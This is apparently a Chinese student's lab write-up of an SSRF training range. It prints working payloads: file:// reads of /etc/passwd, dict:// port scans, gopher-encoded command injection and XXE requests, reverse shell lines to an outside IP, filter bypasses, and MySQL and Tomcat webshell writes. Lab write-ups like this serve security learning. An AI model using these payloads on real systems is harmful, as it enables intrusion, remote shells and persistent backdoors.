ssrf-vuls
ssrf-vuls
首先来看下本次靶场的设计拓扑图:

先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
本场景基本上覆盖了 SSRF 常见的攻击场景,实际上 SSRF 还可以攻击 FTP、Zabbix、Memcached 等应用,由于时间和精力有限,先挖个坑,以后有机会的话再补充完善这套 SSRF 攻击场景的。
这里我用的是橙子科技的一个已经搭好的靶场!
在此感谢
Hello, SSRF!重庆橙子科技ssrf靶场
判断ssrf是否存在
能够对外发起网络请求的地方,就可能存在 SSRF。首先先看下站点功能
获取外网url。测试一下
1 | http://www.baidu.com/robots.txt |

测试成功,接着尝试一下能不能探测到内网,虽然看不到东西,但是下面可以看出来,是可以探测到的开放了80端口
网站请求了 127.0.0.1 的 80 端口,这个应该返回的是我们现在所在的这个界面的

已经确定这个界面存在ssrf漏洞了
SSRF 获取本地信息
配合file协议来,文件读取,读取本地的文件信息,首先尝试使用file伪协议
1 | file:///etc/passwd |

成功读取到了本地的文件信息,现在来尝试获取存在ssrf漏洞的本主机的内网ip地址
先来看看这个文件/ect/hosts
1 | file:///etc/hosts |


/etc/hosts 显示:
容器主机名 6c989908ce81 绑定了两个IP:
172.251.251.2(Docker网络1)172.250.250.2(Docker网络2)
权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

通过这两个文件的分析,得出
/proc/net/arp 补充:
eth0接口:通信对象为172.251.251.1(网关)和172.251.251.251(某服务)。eth1接口:与172.250.250.14通信。
172.251.251.2/24-ssrf探测内网端口
SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,具体可以探测哪些端口需要大家自己动手去测试一下,BP 下使用迭代器模式爆破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息:


1 | 172.251.251.2 -80 |

这也太慢了——换一些经常使用的端口来测试把
1. Web服务端口
| 端口 | 协议 | 服务 | 常见漏洞 |
|---|---|---|---|
| 80 | TCP | HTTP | 注入攻击、目录遍历、未授权访问 |
| 443 | TCP | HTTPS | 心脏出血(Heartbleed)、证书伪造 |
| 8080 | TCP | HTTP代理/备用Web | 管理界面暴露、默认密码 |
| 8443 | TCP | HTTPS备用 | 同443,但常被忽略 |
2. 数据库端口
| 端口 | 协议 | 服务 | 常见漏洞 |
|---|---|---|---|
| 3306 | TCP | MySQL | 弱密码、SQL注入、权限提升 |
| 5432 | TCP | PostgreSQL | CVE-2019-9193(命令执行) |
| 27017 | TCP | MongoDB | 未授权访问、数据泄露 |
| 1433 | TCP | MS SQL | 暴力破解、xp_cmdshell滥用 |
3. 远程管理端口
| 端口 | 协议 | 服务 | 常见漏洞 |
|---|---|---|---|
| 22 | TCP | SSH | 暴力破解、密钥泄露 |
| 3389 | TCP | RDP | BlueKeep漏洞、凭证喷射 |
| 5900 | TCP | VNC | 弱密码、未加密通信 |
| 23 | TCP | Telnet | 明文传输、默认凭证 |
4. 文件传输与共享
| 端口 | 协议 | 服务 | 常见漏洞 |
|---|---|---|---|
| 21 | TCP | FTP | 匿名登录、暴力破解 |
| 2049 | TCP | NFS | 未授权挂载、权限配置错误 |
| 445 | TCP | SMB | 永恒之蓝(EternalBlue)、嗅探 |
5. 邮件服务端口
| 端口 | 协议 | 服务 | 常见漏洞 |
|---|---|---|---|
| 25 | TCP | SMTP | 开放转发、垃圾邮件 |
| 110 | TCP | POP3 | 明文凭证、暴力破解 |
| 143 | TCP | IMAP | 同POP3 |
| 993 | TCP | IMAPS | 配置错误导致降级攻击 |
6. 其他高风险端口
| 端口 | 协议 | 服务 | 常见漏洞 |
|---|---|---|---|
| 6379 | TCP | Redis | 未授权访问、数据泄露 |
| 9200 | TCP | Elasticsearch | 未授权API操作、数据泄露 |
| 11211 | TCP | Memcached | DDoS放大攻击(UDP) |
| 161 | UDP | SNMP | 默认团体名、信息泄露 |

1 | 172.251.251.2 -80 |

还是只探测出来了这个三个
简单来看一下其中一个,这是一个helloword的界面

172.250.250.2/24-ssrf探测内网端口

1 | 172.250.250.2--80 |
172.250.250.4代码注入
172.250.250.4远程代码执行
172.250.250.4–80,总感觉这个肯定能利用上的,远程代码执行

看国光师傅的博客这个应该有一个shell.php的和phpinfo.php

一个经典的 system 一句话木马:

没有任何过滤,直接打

1 | flag |

看了学长的博客发现这个空格不能有,用${IFS}这个内部字段分隔符来代替空格

还是太菜了,这点我都没有想到。
值得注意的是,这里空格需要进行二次URL编码,因为是服务器帮你请求,如果仅进行一次编码的话(主要还是Burp这里会进行一次解码),服务器请求的URL便会是: http://xxx/shell.php?cmd=cat /flag,产生了截断,所以会请求失败。
所以我们要在bp里面进行二次url编码。这里还是有问题的,flag没有出,不过我们也算是学到了点东西

直接访问也有回显

1 | flag{a8ebc494c479c9f03fc353b3ba81040d} |
虽然拿到flag了,但是实际环境中我们不会知道目录下是什么文件名
实战中往往还需要进行目录扫描,下面会提一下
SSRF 之目录扫描
如果想要利用 SSRF 漏洞对内网 Web 资产进行目录扫描的话,使用传统的 dirsearch 等工具就不是很方便了,国光在这种场景下使用的是 Burpsuite 抓包,然后导入字典(就是一些常见文件名,文件路径)批量遍历路径参数
我还没有字典,这里就先告一段落啦。但是整体思路框架要有的

172.250.250.5 - 命令执行
国光:本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。
是一个经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行:

1 | http://172.250.250.5 |
这里参数是‘ip’,随便输入一个东西抓个包就能看到

可以看到post传参ip

但是这里是不能直接利用的,这个接口只能发送httpget请求,post请求是不能发的

直接这样是没用的(通过抓包可以看到这个参数是ip–post传参),这里只能传get请求
😒😒😒😒看国光师傅的wp没太懂
172.250.250.4反弹shell
学长让我别的地方拿到shell,然后在curl
我们现在想怎么去拿到一台shell,这样便于在内网的移动。
想到我们之前拿下的第一台主机172.250.250.4
就从这个下手吧
使用whereis命令去确定目标支持的反弹方法
1 | http://172.250.250.4/shell.php?cmd=whereis${IFS}nc${IFS}bash${IFS}python${IFS}php${IFS}exec${IFS}lua${IFS}perl${IFS}ruby |

1 | nc: |
看到可以用bash反弹反弹到我们的公网ip上,试了两种,都弹不上,还是算了

1 | bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/22390${IFS}0>&1 |
1 | nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}22390 |
不知道为什么弹不上。
172.250.250.5-gopher协议传post请求命令执行
上面反弹shell弹不上,就该想想其他办法了
还记得我们要解决什么问题吗?
想通过url传post参数,那我们要怎么办呢?还记得我们之前学过的gopher协议吗,它是一个强大的协议,他可以传递tcp流,我们还通过它传http请求。那传个post请求自然是没问题的了
先回忆一下gopher协议
1 | gopher协议的转换规则如下:(我们后面会通过python脚本来自动化生成payload) |
我们先来构造http请求把,向172.250.250.5发起post请求
1 | http://172.250.250.5 |

构造http请求包(用最短有效请求包就可以)
1 | POST / |
python代码直接转成gopher协议格式
1 | import urllib.parse |
payload
1 | gopher://172.250.250.5:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20172.250.250.5%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2021%0D%0A%0D%0Aip%3D127.0.0.1%3Bwhoami%0D%0A%20%20%20%20 |

这个只ping了,并没有执行我们的命令,我经过测试发现
这个后面要加上分号,最后,才能执行我们的whoami!!!这个协议比较特殊,需要严格遵守它的格式。 或许是命令注入的终止符规则 和 服务器端解析逻辑 的特殊性,我们还是多多测试,才能达到我们想要的效果啦!

最终payload
1 | gopher://172.250.250.5:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20172.250.250.5%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2021%0D%0A%0D%0Aip%3D127.0.0.1%3Bwhoami%3B%0D%0A%20%20%20%20 |

172.250.250.6-xxe
这个也需要在上帝视角去搞。这里直接说吧,存在xxe注入。
本场景是一个基础的 XXE 外部实体注入场景,登录的时候用户提交的 XML 数据,且服务器后端对 XML 数据解析并将结果输出,所以可以构造一个 XXE 读取本地的敏感信息:
我们仍然是利用gopher伪协议发送构造的post请求

看一下源代码,有很多好东西,这些都是,提交表单为xml,提交到doLogin.php
code=0 失败
code=1 成功
contenttype类型

攻击代码
1 |
|
攻击代码,仍然是利用gopher协议向172.250.250.6主机发送post请求
1 |
|
还是抓一个包,只利用请求头的这四字段就可以,还是最短有效的http请求数据包
1 | POST /doLogin.php |
拿到paylaod直接打,这个是直接在浏览器上发送的,如果在bp上还得手动url编码一下

1 | gopher://172.250.250.6:80/_POST%20/doLogin.php%20HTTP/1.1%0D%0AHost%3A%20172.250.250.6%3A80%0D%0AContent-Type%3A%20application/xml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%20202%0D%0A%0D%0A%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%20%20%0D%0A%3C%21DOCTYPE%20user%20%5B%20%20%0D%0A%20%20%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A///etc/hosts%22%20%3E%5D%3E%0D%0A%20%20%20%20%3Cuser%3E%0D%0A%20%20%20%20%3Cusername%3E%26xxe%3B%3C/username%3E%20%20%20%20%0D%0A%20%20%20%20%3Cpassword%3Eadmin%3C/password%3E%0D%0A%20%20%20%20%3C/user%3E%20%20%0D%0A%20%20%20%20 |
ok拿下了

我还测试了一下把我们手动构造的http请求直接在bp里面url全编码两次,也是可以的(不用ptthon脚本也是可以的)。
我看到别的师傅都是直接把整个http请求包(除了压缩字段)二次url全编码然后放上去了,不知道是我构造的http请求包有问题还是怎么,我的就是不行。所以我就干脆把我构造的最短有效长的请求包放上去了。没想到也成功了。

绕过方式
环回地址绕过
确认目标,但是不能直接用127.0.0.1

就要用到回环地址转换了
1 | http://017700000001/flag.php |
http://017700000001/flag.php #八进制
http://0x7F000001/flag.php #十六进制
http://2130706433/flag.php #十进制
重定向绕过
302重定向绕过是指一种安全漏洞,通常出现在Web应用程序中,可以被恶意用户利用来绕过预期的访问控制或执行非授权的操作。这种漏洞的本质在于应用程序对302状态码的处理不当,导致攻击者可以通过重定向来引导用户到他们控制的恶意网站或执行其他未授权的操作。
重定向绕过分为两种:
开放重定向漏洞(Open Redirect):在这种情况下,应用程序允许用户控制重定向的目标URL,但没有进行足够的验证和过滤。攻击者可以构造一个特殊的URL,将用户重定向到恶意站点,从而进行钓鱼攻击或窃取用户信息。
闭合重定向漏洞(Closed Redirect):虽然应用程序限制了重定向的目标URL,但攻击者可以利用不同的方式绕过此限制。例如,通过在URL中添加参数或混合使用URL编码和解码来绕过输入验证。
以这个题做一个演示
1 | http://127.0.0.1/flag.php |


对要访问的IP地址(进行了过滤,只要访问服务器的IP是127.0.0.1或者一眼内网IP,直接过滤掉,导致无法访问)
重定向绕过的原理:

就是一个攻击者要拥有一个公网web服务器,在上面写一段代码,然后302重定向到127.0.0.1,其实就是我们直接在输入框中输入公网服务器的url(本来是要请求公网web服务器的界面的),这时公网服务器存在302重定向,又重定向到ssrf服务器,最终把ssrf服务器的请求到界面返回给攻击者,实现内网信息泄露
主播是个小白,学到这里的时候还没有公网服务器,也不会搭公网服务器,所以就去看了文章,在这里也分享一下吧
使用花生壳+phpstudy实现302重定向
软件:贝锐花生壳+phpstudy
贝锐花生壳内网穿透功能,点击添加映射

我们使用http服务,将内网的一个端口映射到公网,这个端口号可以填88,后面要用

phpstudy,开启nginx服务

点击创建网站

创建网站的时候这里一定要填之前我们选择映射的内网端口号

完成创建之后基本的操作已经做好啦,现在搭建内网的网站已经能在公网上访问了,通过公网域名。这就一台公网web服务器,当访问公网域名时,返回的就是内网88端口的w创建的eb网页吗,是不是很奇妙,大一学到的计算机网络原理的知识也是用到了
好的好的,废话不多说,接着往下
我们点击管理网站–》打开网站根目录,在里面创建一个index.php的文件,内容为
1 |
|
最后一步:我们直接在这输入给我们的公网域名,就完美实现302重定向绕过啦

DNS重绑定绕过
现在针对SSRF攻击的主流防御手段通常为:
1.解析目标URL,获取其Host
2.解析Host,获取Host指向的IP地址
3.检查IP地址是否为内网地址
4.请求URL
5.如果有跳转,拿出跳转URL,执行1
可以有效限制:直接访问内网IP;302跳转;xip.io/xip.name 及短链接变换等URL变形;畸形URL;iframe攻击;IP进制转换

针对这种防御可以使用DNS Rebinding Attack(DNS重绑定攻击)

其实就是服务器进行两次DNS解析同一域名的间隔期间,(如果间隔期间比较长,而且有缓存,会有失败的概率)利用这个空档直接更换IP,从而进行对WAF的绕过
DNS重绑定网站生成:rbndr.us dns rebinding service (cmpxchg8b.com)

这里如果一次不成功要换公网ip多试几次(因为这个是有偶然性的)

利用ssrf对mysql进行未授权访问
本地mysql没有密码的时候可以利用gopher为协议对mysql进行攻击

利用Gopherus工具对mysql进行攻击
下载完成之后开始使用
1 | cd Gopherus |
输入用户名(一般是root)
输入想构造的sql命令(我这查询了当前所在库名)

还是一样的有用dict探测开放ip端口
1 | dict://172.250.250.8:3306 |

发现这个内网主机开放mysql服务(一般是3306端口)
1 | 172.250.250.8:3306 |
把构造的paylaod放进去,把ip换一下就ok(这里就完成了基本操作)
这个靶机稍稍有点问题,回显不出来。不过没事,学会了就行

使用ssrf对mysql未授权文件写入
前提:一台主机开放了mysql服务同时也开放wb服务
第一步:查看写入权限

1 | root |
可以通过mysql写入文件


第二步:写入一句话木马
写入文件的那个路径要看搭建网站的服务器是什么,这里路径就是用/var/www/html做演示

1 | root |
最终paylaod
1 | gopher://172.250.250.8:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%53%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%79%73%71%6c%2f%63%6d%64%2e%70%68%70%27%3b%01%00%00%00%01 |
由于这个靶机有点问题,这里就不做演示了
使用ssrf对tomcat文件写入

开放了8080端口大概率是tomcat

要利用文件上传jsp文件呢,要构造put请求包,所以先来认识一下put请求的固定请求头

jsp的一句话木马

1 | <% |
最后构造完整的put请求包
1 | PUT /1.jsp/ |

访问一下看看是否成功,已经成功写进去jsp木马了


这里随便测试一下就ok
1 | http://172.250.250.7:8080/1.jsp?cmd=ls |

参考:
https://blog.foreverwl.top/archives/1731159746837
B站橙子科技SSRF课程
还有redis攻击没有学,再放放把。
未授权redis漏洞利用
对方有网站我们可以采用这个方法






